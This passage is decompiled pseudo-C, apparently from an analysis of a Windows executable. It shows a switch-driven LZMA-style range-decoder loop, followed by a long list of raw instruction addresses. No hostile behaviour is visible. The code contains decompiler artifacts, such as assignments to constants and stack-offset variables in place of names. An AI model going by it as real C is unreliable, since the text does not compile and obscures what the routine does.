							_t607 =  *(_t614 - 4) + (( *(_t614 - 0x38) << 4) + _t553) * 2;
							goto L132;
						case 3:
							L21:
							__eflags =  *(_t614 - 0x6c);
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 3;
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							_t67 = _t614 - 0x70;
							 *_t67 =  &(( *(_t614 - 0x70))[1]);
							__eflags =  *_t67;
							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
							L23:
							 *(_t614 - 0x48) =  *(_t614 - 0x48) - 1;
							if( *(_t614 - 0x48) != 0) {
								goto L21;
							}
							goto L24;
						case 4:
							goto L133;
						case 5:
							goto L137;
						case 6:
							goto L0;
						case 7:
							__eflags =  *(__ebp - 0x40) - 1;
							if( *(__ebp - 0x40) != 1) {
								__eax =  *(__ebp - 0x24);
								 *(__ebp - 0x80) = 0x16;
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x28);
								 *(__ebp - 0x24) =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0x2c);
								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
								__eax = 0;
								__eflags =  *(__ebp - 0x38) - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
								__eax =  *(__ebp - 4);
								__eax =  *(__ebp - 4) + 0x664;
								__eflags = __eax;
								 *(__ebp - 0x58) = __eax;
								goto L68;
							}
							__eax =  *(__ebp - 4);
							__ecx =  *(__ebp - 0x38);
							 *(__ebp - 0x84) = 8;
							__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
							goto L132;
						case 8:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xa;
								__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
							} else {
								__eax =  *(__ebp - 0x38);
								__ecx =  *(__ebp - 4);
								__eax =  *(__ebp - 0x38) + 0xf;
								 *(__ebp - 0x84) = 9;
								 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
								__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
							}
							goto L132;
						case 9:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								goto L89;
							}
							__eflags =  *(__ebp - 0x60);
							if( *(__ebp - 0x60) == 0) {
								goto L171;
							}
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							_t258 =  *(__ebp - 0x38) - 7 >= 0;
							__eflags = _t258;
							0 | _t258 = _t258 + _t258 + 9;
							 *(__ebp - 0x38) = _t258 + _t258 + 9;
							goto L75;
						case 0xa:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xb;
								__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x28);
							goto L88;
						case 0xb:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__ecx =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x20);
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
							} else {
								__eax =  *(__ebp - 0x24);
							}
							__ecx =  *(__ebp - 0x28);
							 *(__ebp - 0x24) =  *(__ebp - 0x28);
							L88:
							__ecx =  *(__ebp - 0x2c);
							 *(__ebp - 0x2c) = __eax;
							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
							L89:
							__eax =  *(__ebp - 4);
							 *(__ebp - 0x80) = 0x15;
							__eax =  *(__ebp - 4) + 0xa68;
							 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
							goto L68;
						case 0xc:
							L99:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xc;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t334 = __ebp - 0x70;
							 *_t334 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t334;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							__eax =  *(__ebp - 0x2c);
							goto L101;
						case 0xd:
							goto L36;
						case 0xe:
							goto L45;
						case 0xf:
							goto L57;
						case 0x10:
							L109:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x10;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t365 = __ebp - 0x70;
							 *_t365 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t365;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							goto L111;
						case 0x11:
							L68:
							__esi =  *(__ebp - 0x58);
							 *(__ebp - 0x84) = 0x12;
							goto L132;
						case 0x12:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 0x58);
								 *(__ebp - 0x84) = 0x13;
								__esi =  *(__ebp - 0x58) + 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x4c);
							 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							__eflags = __eax;
							__eax =  *(__ebp - 0x58) + __eax + 4;
							goto L130;
						case 0x13:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								_t469 = __ebp - 0x58;
								 *_t469 =  *(__ebp - 0x58) + 0x204;
								__eflags =  *_t469;
								 *(__ebp - 0x30) = 0x10;
								 *(__ebp - 0x40) = 8;
								L144:
								 *(__ebp - 0x7c) = 0x14;
								goto L145;
							}
							__eax =  *(__ebp - 0x4c);
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							 *(__ebp - 0x30) = 8;
							__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
							L130:
							 *(__ebp - 0x58) = __eax;
							 *(__ebp - 0x40) = 3;
							goto L144;
						case 0x14:
							 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
							__eax =  *(__ebp - 0x80);
							goto L140;
						case 0x15:
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
							goto L120;
						case 0x16:
							__eax =  *(__ebp - 0x30);
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx =  *(__ebp - 4);
							 *(__ebp - 0x40) = 6;
							__eax = __eax << 7;
							 *(__ebp - 0x7c) = 0x19;
							 *(__ebp - 0x58) = __eax;
							goto L145;
						case 0x17:
							L145:
							__eax =  *(__ebp - 0x40);
							 *(__ebp - 0x50) = 1;
							 *(__ebp - 0x48) =  *(__ebp - 0x40);
							goto L149;
						case 0x18:
							L146:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x18;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t484 = __ebp - 0x70;
							 *_t484 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t484;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L148:
							_t487 = __ebp - 0x48;
							 *_t487 =  *(__ebp - 0x48) - 1;
							__eflags =  *_t487;
							L149:
							__eflags =  *(__ebp - 0x48);
							if( *(__ebp - 0x48) <= 0) {
								__ecx =  *(__ebp - 0x40);
								__ebx =  *(__ebp - 0x50);
								0 = 1;
								__eax = 1 << __cl;
								__ebx =  *(__ebp - 0x50) - (1 << __cl);
								__eax =  *(__ebp - 0x7c);
								 *(__ebp - 0x44) = __ebx;
								goto L140;
							}
							__eax =  *(__ebp - 0x50);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
							__eax =  *(__ebp - 0x58);
							__esi = __edx + __eax;
							 *(__ebp - 0x54) = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								 *(__ebp - 0x50) = __edx;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L148;
							} else {
								goto L146;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								 *(__ebp - 0x2c) = __ebx;
								L119:
								_t393 = __ebp - 0x2c;
								 *_t393 =  *(__ebp - 0x2c) + 1;
								__eflags =  *_t393;
								L120:
								__eax =  *(__ebp - 0x2c);
								__eflags = __eax;
								if(__eax == 0) {
									 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
									goto L170;
								}
								__eflags = __eax -  *(__ebp - 0x60);
								if(__eax >  *(__ebp - 0x60)) {
									goto L171;
								}
								 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
								__eax =  *(__ebp - 0x30);
								_t400 = __ebp - 0x60;
								 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
								__eflags =  *_t400;
								goto L123;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							 *(__ebp - 0x2c) = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								 *(__ebp - 0x48) = __ecx;
								L102:
								__eflags =  *(__ebp - 0x48);
								if( *(__ebp - 0x48) <= 0) {
									__eax = __eax + __ebx;
									 *(__ebp - 0x40) = 4;
									 *(__ebp - 0x2c) = __eax;
									__eax =  *(__ebp - 4);
									__eax =  *(__ebp - 4) + 0x644;
									__eflags = __eax;
									L108:
									__ebx = 0;
									 *(__ebp - 0x58) = __eax;
									 *(__ebp - 0x50) = 1;
									 *(__ebp - 0x44) = 0;
									 *(__ebp - 0x48) = 0;
									L112:
									__eax =  *(__ebp - 0x40);
									__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
									if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
										_t391 = __ebp - 0x2c;
										 *_t391 =  *(__ebp - 0x2c) + __ebx;
										__eflags =  *_t391;
										goto L119;
									}
									__eax =  *(__ebp - 0x50);
									 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
									__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
									__eax =  *(__ebp - 0x58);
									__esi = __edi + __eax;
									 *(__ebp - 0x54) = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
									__eflags =  *(__ebp - 0xc) - __edx;
									if( *(__ebp - 0xc) >= __edx) {
										__ecx = 0;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
										__ecx = 1;
										 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
										__ebx = 1;
										__ecx =  *(__ebp - 0x48);
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx =  *(__ebp - 0x44);
										__ebx =  *(__ebp - 0x44) | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										 *(__ebp - 0x44) = __ebx;
										 *__esi = __ax;
										 *(__ebp - 0x50) = __edi;
									} else {
										 *(__ebp - 0x10) = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
										 *__esi = __dx;
									}
									__eflags =  *(__ebp - 0x10) - 0x1000000;
									if( *(__ebp - 0x10) >= 0x1000000) {
										L111:
										_t368 = __ebp - 0x48;
										 *_t368 =  *(__ebp - 0x48) + 1;
										__eflags =  *_t368;
										goto L112;
									} else {
										goto L109;
									}
								}
								__ecx =  *(__ebp - 0xc);
								__ebx = __ebx + __ebx;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
								__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
									__ecx =  *(__ebp - 0x10);
									 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									 *(__ebp - 0x44) = __ebx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								if( *(__ebp - 0x10) >= 0x1000000) {
									L101:
									_t338 = __ebp - 0x48;
									 *_t338 =  *(__ebp - 0x48) - 1;
									__eflags =  *_t338;
									goto L102;
								} else {
									goto L99;
								}
							}
							__edx =  *(__ebp - 4);
							__eax = __eax - __ebx;
							 *(__ebp - 0x40) = __ecx;
							__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
							goto L108;
						case 0x1a:
							goto L55;
						case 0x1b:
							L75:
							__eflags =  *(__ebp - 0x64);
							if( *(__ebp - 0x64) == 0) {
								 *(__ebp - 0x88) = 0x1b;
								goto L170;
							}
							__eax =  *(__ebp - 0x14);
							__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
							__eflags = __eax -  *(__ebp - 0x74);
							if(__eax >=  *(__ebp - 0x74)) {
								__eax = __eax +  *(__ebp - 0x74);
								__eflags = __eax;
							}
							__edx =  *(__ebp - 8);
							__cl =  *(__eax + __edx);
							__eax =  *(__ebp - 0x14);
							 *(__ebp - 0x5c) = __cl;
							 *(__eax + __edx) = __cl;
							__eax = __eax + 1;
							__edx = 0;
							_t274 = __eax %  *(__ebp - 0x74);
							__eax = __eax /  *(__ebp - 0x74);
							__edx = _t274;
							__eax =  *(__ebp - 0x68);
							 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
							 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
							_t283 = __ebp - 0x64;
							 *_t283 =  *(__ebp - 0x64) - 1;
							__eflags =  *_t283;
							 *( *(__ebp - 0x68)) = __cl;
							goto L79;
						case 0x1c:
							while(1) {
								L123:
								__eflags =  *(__ebp - 0x64);
								if( *(__ebp - 0x64) == 0) {
									break;
								}
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__edx =  *(__ebp - 8);
								__cl =  *(__eax + __edx);
								__eax =  *(__ebp - 0x14);
								 *(__ebp - 0x5c) = __cl;
								 *(__eax + __edx) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t414 = __eax %  *(__ebp - 0x74);
								__eax = __eax /  *(__ebp - 0x74);
								__edx = _t414;
								__eax =  *(__ebp - 0x68);
								 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
								 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
								 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
								__eflags =  *(__ebp - 0x30);
								 *( *(__ebp - 0x68)) = __cl;
								 *(__ebp - 0x14) = __edx;
								if( *(__ebp - 0x30) > 0) {
									continue;
								} else {
									goto L80;
								}
							}
							 *(__ebp - 0x88) = 0x1c;
							goto L170;
					}
				}
			}

0x00000000
0x00406d5f
0x00406d5f
0x00406d64
0x00406ddb
0x00406de2
0x00406dec
0x004073cb
0x004073cb
0x004073ce
0x004073ce
0x004073d4
0x004073da
0x004073e0
0x004073fa
0x004073fd
0x00407403
0x0040740e
0x00407410
0x004073e2
0x004073e2
0x004073f1
0x004073f5
0x004073f5
0x0040741a
0x00407441
0x00407441
0x00407447
0x00407447
0x00000000
0x0040741c
0x0040741c
0x00407420
0x004075cf
0x00000000
0x004075cf
0x0040742c
0x00407433
0x0040743b
0x0040743e
0x00000000
0x0040743e
0x00406d66
0x00406d66
0x00406d6a
0x00406d72
0x00406d75
0x00406d77
0x00406d7a
0x00406d7c
0x00406d81
0x00406d84
0x00406d8b
0x00406d92
0x00406d95
0x00406da0
0x00406da8
0x00406da8
0x00406da2
0x00406da2
0x00406da2
0x00406d97
0x00406d97
0x00406d97
0x00406daf
0x00406dcd
0x00406dcf
0x00406fa2
0x00406fa2
0x00406fa5
0x00406fa8
0x00406fab
0x00406fae
0x00406fb1
0x00406fb4
0x00406fb7
0x00406fba
0x00406fc0
0x00406fd8
0x00406fdb
0x00406fde
0x00406fe1
0x00406fe1
0x00406fe4
0x00406fea
0x00406fc2
0x00406fc2
0x00406fca
0x00406fcf
0x00406fd1
0x00406fd3
0x00406fd3
0x00406ff4
0x00406ff7
0x00406f9a
0x00406fa0
0x00000000
0x00000000
0x00000000
0x00406ff9
0x00406f75
0x00406f79
0x00407581
0x00000000
0x00407581
0x00406f7f
0x00406f82
0x00406f85
0x00406f89
0x00406f8c
0x00406f92
0x00406f94
0x00406f94
0x00406f97
0x00000000
0x00406f97
0x00406db1
0x00406db1
0x00406db4
0x00406dba
0x00406dbc
0x00406dbc
0x00406dbf
0x00406dc2
0x00406dc4
0x00406dc5
0x00406dc8
0x00406e35
0x00406e35
0x00406e39
0x00406e3c
0x00406e3f
0x00406e42
0x00406e45
0x00406e46
0x00406e49
0x00406e4b
0x00406e51
0x00406e54
0x00406e57
0x00406e5a
0x00406e5d
0x00406e63
0x00406e7f
0x00406e82
0x00406e85
0x00406e88
0x00406e8f
0x00406e95
0x00406e99
0x00406e65
0x00406e65
0x00406e69
0x00406e71
0x00406e76
0x00406e78
0x00406e7a
0x00406e7a
0x00406ea3
0x00406ea6
0x00406e1d
0x00406e1d
0x00406e23
0x00406ed6
0x00406edc
0x00000000
0x00000000
0x00406ede
0x00406ee1
0x00406ee4
0x00406ee7
0x00406eea
0x00406eed
0x00406ef0
0x00406ef3
0x00406ef6
0x00406efc
0x00406f14
0x00406f17
0x00406f1a
0x00406f1d
0x00406f1d
0x00406f20
0x00406f26
0x00406efe
0x00406efe
0x00406f06
0x00406f0b
0x00406f0d
0x00406f0f
0x00406f0f
0x00406f30
0x00406f33
0x00406eb1
0x00406eb5
0x00407575
0x00000000
0x00407575
0x00406ebb
0x00406ebe
0x00406ec1
0x00406ec5
0x00406ec8
0x00406ece
0x00406ed0
0x00406ed0
0x00406ed3
0x00406ed3
0x00406f33
0x00406f3a
0x00406f3a
0x00406f3a
0x00406f3e
0x00406f3e
0x00406f41
0x00406f44
0x00406f48
0x0040758d
0x00000000
0x0040758d
0x00406f4e
0x00406f51
0x00406f54
0x00406f57
0x00406f5a
0x00406f5d
0x00406f60
0x00406f62
0x00406f65
0x00406f68
0x00406f6b
0x00406f6d
0x00406f6d
0x00406f6d
0x0040710a
0x0040710a
0x0040710d
0x0040710d
0x00000000
0x0040710d
0x00406e2f
0x00000000
0x00000000
0x00000000
0x00406eac
0x00406df8
0x00406dfc
0x00407569
0x004075e5
0x004075ed
0x004075f4
0x004075f6
0x004075fd
0x00407601
0x00407601
0x00406e02
0x00406e05
0x00406e08
0x00406e0c
0x00406e0f
0x00406e15
0x00406e17
0x00406e17
0x00406e1a
0x00000000
0x00406e1a
0x00406ea6
0x00406daf
0x00406be3
0x00406be3
0x00406bec
0x004075fa
0x004075fa
0x00000000
0x004075fa
0x00406bf2
0x00000000
0x00406bfd
0x00000000
0x00000000
0x00406c06
0x00406c09
0x00406c0c
0x00406c10
0x00000000
0x00000000
0x00406c16
0x00406c19
0x00406c1b
0x00406c1c
0x00406c1f
0x00406c21
0x00406c22
0x00406c24
0x00406c27
0x00406c2c
0x00406c31
0x00406c3a
0x00406c4d
0x00406c50
0x00406c5c
0x00406c84
0x00406c86
0x00406c94
0x00406c94
0x00406c98
0x00000000
0x00000000
0x00000000
0x00000000
0x00406c88
0x00406c88
0x00406c8b
0x00406c8c
0x00406c8c
0x00000000
0x00406c88
0x00406c62
0x00406c67
0x00406c67
0x00406c70
0x00406c78
0x00406c7b
0x00000000
0x00406c81
0x00406c81
0x00000000
0x00406c81
0x00000000
0x00406c9e
0x00406c9e
0x00406ca2
0x0040754e
0x00000000
0x0040754e
0x00406cab
0x00406cbb
0x00406cbe
0x00406cc1
0x00406cc1
0x00406cc1
0x00406cc4
0x00406cc8
0x00000000
0x00000000
0x00406cca
0x00406cd0
0x00406cfa
0x00406d00
0x00406d07
0x00000000
0x00406d07
0x00406cd6
0x00406cd9
0x00406cde
0x00406cde
0x00406ce9
0x00406cf1
0x00406cf4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406d39
0x00406d3f
0x00406d42
0x00406d4f
0x00406d57
0x00000000
0x00000000
0x00406d0e
0x00406d0e
0x00406d12
0x0040755d
0x00000000
0x0040755d
0x00406d1e
0x00406d29
0x00406d29
0x00406d29
0x00406d2c
0x00406d2f
0x00406d32
0x00406d37
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406ffe
0x00407002
0x00407020
0x00407023
0x0040702a
0x0040702d
0x00407030
0x00407033
0x00407036
0x00407039
0x0040703b
0x00407042
0x00407043
0x00407045
0x00407048
0x0040704b
0x0040704e
0x0040704e
0x00407053
0x00000000
0x00407053
0x00407004
0x00407007
0x0040700a
0x00407014
0x00000000
0x00000000
0x00407068
0x0040706c
0x0040708f
0x00407092
0x00407095
0x0040709f
0x0040706e
0x0040706e
0x00407071
0x00407074
0x00407077
0x00407084
0x00407087
0x00407087
0x00000000
0x00000000
0x004070ab
0x004070af
0x00000000
0x00000000
0x004070b5
0x004070b9
0x00000000
0x00000000
0x004070bf
0x004070c1
0x004070c5
0x004070c5
0x004070c8
0x004070cc
0x00000000
0x00000000
0x0040711c
0x00407120
0x00407127
0x0040712a
0x0040712d
0x00407137
0x00000000
0x00407137
0x00407122
0x00000000
0x00000000
0x00407143
0x00407147
0x0040714e
0x00407151
0x00407154
0x00407149
0x00407149
0x00407149
0x00407157
0x0040715a
0x0040715d
0x0040715d
0x00407160
0x00407163
0x00407166
0x00407166
0x00407169
0x00407170
0x00407175
0x00000000
0x00000000
0x00407203
0x00407203
0x00407207
0x004075a5
0x00000000
0x004075a5
0x0040720d
0x00407210
0x00407213
0x00407217
0x0040721a
0x00407220
0x00407222
0x00407222
0x00407222
0x00407225
0x00407228
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00407286
0x00407286
0x0040728a
0x004075b1
0x00000000
0x004075b1
0x00407290
0x00407293
0x00407296
0x0040729a
0x0040729d
0x004072a3
0x004072a5
0x004072a5
0x004072a5
0x004072a8
0x00000000
0x00000000
0x00407056
0x00407056
0x00407059
0x00000000
0x00000000
0x00407395
0x00407399
0x004073bb
0x004073be
0x004073c8
0x00000000
0x004073c8
0x0040739b
0x0040739e
0x004073a2
0x004073a5
0x004073a5
0x004073a8
0x00000000
0x00000000
0x00407452
0x00407456
0x00407474
0x00407474
0x00407474
0x0040747b
0x00407482
0x00407489
0x00407489
0x00000000
0x00407489
0x00407458
0x0040745b
0x0040745e
0x00407461
0x00407468
0x004073ac
0x004073ac
0x004073af
0x00000000
0x00000000
0x00407543
0x00407546
0x00000000
0x00000000
0x0040717d
0x0040717f
0x00407186
0x00407187
0x00407189
0x0040718c
0x00000000
0x00000000
0x00407194
0x00407197
0x0040719a
0x0040719c
0x0040719e
0x0040719e
0x0040719f
0x004071a2
0x004071a9
0x004071ac
0x004071ba
0x00000000
0x00000000
0x00407490
0x00407490
0x00407493
0x0040749a
0x00000000
0x00000000
0x0040749f
0x0040749f
0x004074a3
0x004075db
0x00000000
0x004075db
0x004074a9
0x004074ac
0x004074af
0x004074b3
0x004074b6
0x004074bc
0x004074be
0x004074be
0x004074be
0x004074c1
0x004074c4
0x004074c4
0x004074c4
0x004074c4
0x004074c7
0x004074c7
0x004074cb
0x0040752b
0x0040752e
0x00407533
0x00407534
0x00407536
0x00407538
0x0040753b
0x00000000
0x0040753b
0x004074cd
0x004074d3
0x004074d6
0x004074d9
0x004074dc
0x004074df
0x004074e2
0x004074e5
0x004074e8
0x004074eb
0x004074ee
0x00407507
0x0040750a
0x0040750d
0x00407510
0x00407514
0x00407516
0x00407516
0x00407517
0x0040751a
0x004074f0
0x004074f0
0x004074f8
0x004074fd
0x004074ff
0x00407502
0x00407502
0x0040751d
0x00407524
0x00000000
0x00407526
0x00000000
0x00407526
0x00000000
0x004071c2
0x004071c5
0x004071fb
0x0040732b
0x0040732b
0x0040732b
0x0040732b
0x0040732e
0x0040732e
0x00407331
0x00407333
0x004075bd
0x00000000
0x004075bd
0x00407339
0x0040733c
0x00000000
0x00000000
0x00407342
0x00407346
0x00407349
0x00407349
0x00407349
0x00000000
0x00407349
0x004071c7
0x004071c9
0x004071cb
0x004071cd
0x004071d0
0x004071d1
0x004071d3
0x004071d5
0x004071d8
0x004071db
0x004071f1
0x004071f6
0x0040722e
0x0040722e
0x00407232
0x0040725e
0x00407260
0x00407267
0x0040726a
0x0040726d
0x0040726d
0x00407272
0x00407272
0x00407274
0x00407277
0x0040727e
0x00407281
0x004072ae
0x004072ae
0x004072b1
0x004072b4
0x00407328
0x00407328
0x00407328
0x00000000
0x00407328
0x004072b6
0x004072bc
0x004072bf
0x004072c2
0x004072c5
0x004072c8
0x004072cb
0x004072ce
0x004072d1
0x004072d4
0x004072d7
0x004072f0
0x004072f2
0x004072f5
0x004072f6
0x004072f9
0x004072fb
0x004072fe
0x00407300
0x00407302
0x00407305
0x00407307
0x0040730a
0x0040730e
0x00407310
0x00407310
0x00407311
0x00407314
0x00407317
0x004072d9
0x004072d9
0x004072e1
0x004072e6
0x004072e8
0x004072eb
0x004072eb
0x0040731a
0x00407321
0x004072ab
0x004072ab
0x004072ab
0x004072ab
0x00000000
0x00407323
0x00000000
0x00407323
0x00407321
0x00407234
0x00407237
0x00407239
0x0040723c
0x0040723f
0x00407242
0x00407244
0x00407247
0x0040724a
0x0040724a
0x0040724d
0x0040724d
0x00407250
0x00407257
0x0040722b
0x0040722b
0x0040722b
0x0040722b
0x00000000
0x00407259
0x00000000
0x00407259
0x00407257
0x004071dd
0x004071e0
0x004071e2
0x004071e5
0x00000000
0x00000000
0x00000000
0x00000000
0x004070cf
0x004070cf
0x004070d3
0x00407599
0x00000000
0x00407599
0x004070d9
0x004070dc
0x004070df
0x004070e2
0x004070e4
0x004070e4
0x004070e4
0x004070e7
0x004070ea
0x004070ed
0x004070f0
0x004070f3
0x004070f6
0x004070f7
0x004070f9
0x004070f9
0x004070f9
0x004070fc
0x004070ff
0x00407102
0x00407105
0x00407105
0x00407105
0x00407108
0x00000000
0x00000000
0x0040734c
0x0040734c
0x0040734c
0x00407350
0x00000000
0x00000000
0x00407356
0x00407359
0x0040735c
0x0040735f
0x00407361
0x00407361
0x00407361
0x00407364
0x00407367
0x0040736a
0x0040736d
0x00407370
0x00407373
0x00407374
0x00407376
0x00407376
0x00407376
0x00407379
0x0040737c
0x0040737f
0x00407382
0x00407385
0x00407389
0x0040738b
0x0040738e
0x00000000
0x00407390
0x00000000
0x00407390
0x0040738e
